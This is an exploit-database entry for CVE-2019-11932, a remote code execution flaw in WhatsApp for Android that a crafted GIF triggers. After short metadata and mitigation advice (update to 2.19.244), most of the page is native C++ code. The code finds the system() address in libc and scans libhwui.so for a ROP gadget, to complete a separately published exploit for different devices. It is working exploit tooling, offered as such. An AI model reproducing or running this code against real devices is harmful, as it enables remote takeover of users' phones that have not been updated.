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Whatsapp
by:
Valerio Brussani
8.8
CVSS
HIGH
Remote Code Execution
20
CWE
Product Name: Whatsapp
Affected Version From: 2.19.216
Affected Version To: 2.19.244
Patch Exists: YES
Related CWE: CVE-2019-11932
CPE: a:whatsapp:whatsapp
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Android
2019

Whatsapp 2.19.216 – Remote Code Execution

This native code file aims to be complementary to the published Whatsapp GIF RCE exploit by Awakened, by calculating the system() function address and ROP gadget address for different types of devices, which then can be used to successfully exploit the vulnerability.

Mitigation:

Update Whatsapp to version 2.19.244 or later.
Source

Exploit-DB raw data:

# Exploit Title: Whatsapp 2.19.216 - Remote Code Execution
# Date: 2019-10-16
# Exploit Author: Valerio Brussani (@val_brux)
# Vendor Homepage: https://www.whatsapp.com/
# Version: < 2.19.244
# Tested on: Whatsapp 2.19.216
# CVE: CVE-2019-11932
# Reference1: https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
# Full Android App: https://github.com/valbrux/CVE-2019-11932-SupportApp
# Credits: all credits for the bug discovery goes to Awakened (https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/)

/*
*
* Introduction
* This native code file aims to be complementary to the published Whatsapp GIF RCE exploit by Awakened , by calculating the system() function address and ROP gadget address for different types of devices, which then can be used to successfully exploit the vulnerability.
* The full Android application code is available at the following link https://github.com/valbrux/CVE-2019-11932-SupportApp 
* 
*/

#include <jni.h>
#include <string>
#include <dlfcn.h>
#include <link.h>

typedef uint8_t byte;
char *gadget_p;
void* libc,* lib;

//dls iteration for rop
int dl_callback(struct dl_phdr_info *info, size_t size, void *data)
{
    int j;
    const char *base = (const char *)info->dlpi_addr;
    for (j = 0; j < info->dlpi_phnum; j++) {
        const ElfW(Phdr) *phdr = &info->dlpi_phdr[j];
        if (phdr->p_type == PT_LOAD && (strcmp("/system/lib64/libhwui.so",info->dlpi_name) == 0)) {
            gadget_p = (char *) base + phdr->p_vaddr;
            return 1;
        }
    }
    return 0;
}

//system address
void* get_system_address(){
    libc = dlopen("libc.so",RTLD_GLOBAL);
    void* address = dlsym( libc, "system");
    return address;
}

//rop gadget address
void get_gadget_lib_base_address() {
    lib = dlopen("libhwui.so",RTLD_GLOBAL);
    dl_iterate_phdr(dl_callback, NULL);
}

//search gadget
long search_for_gadget_offset() {
    char *buffer;
    long filelen;
    char curChar;
    long pos = 0; int curSearch = 0;
    //reading file
    FILE* fd = fopen("/system/lib64/libhwui.so","rb");
    fseek(fd, 0, SEEK_END);
    filelen = ftell(fd);
    rewind(fd);
    buffer = (char *)malloc((filelen+1)*sizeof(char));
    fread(buffer, filelen, 1, fd);
    fclose(fd);
    //searching for bytes
    byte g1[12] = {0x68, 0x0E, 0x40, 0xF9, 0x60, 0x82, 0x00, 0x91, 0x00, 0x01, 0x3F, 0xD6};
    while(pos <= filelen){
        curChar = buffer[pos];pos++;
        if(curChar == g1[curSearch]){
            curSearch++;
            if(curSearch > 11){
                curSearch = 0;
                pos-=12;
                break;
            }
        }
        else{
            curSearch = 0;
        }
    }
    return pos;
}

extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getSystem(JNIEnv* env,jobject) {
    char buff[30];
    //system address
    snprintf(buff, sizeof(buff), "%p", get_system_address());
    dlclose(libc);
    std::string system_string = buff;
    return env->NewStringUTF(system_string.c_str());
}



extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getROPGadget(JNIEnv* env,jobject) {
    char buff[30];
    get_gadget_lib_base_address();
    //gadget address
    snprintf(buff, sizeof(buff), "%p",gadget_p+search_for_gadget_offset());
    dlclose(lib);
    std::string system_string = buff;
    return env->NewStringUTF(system_string.c_str());
}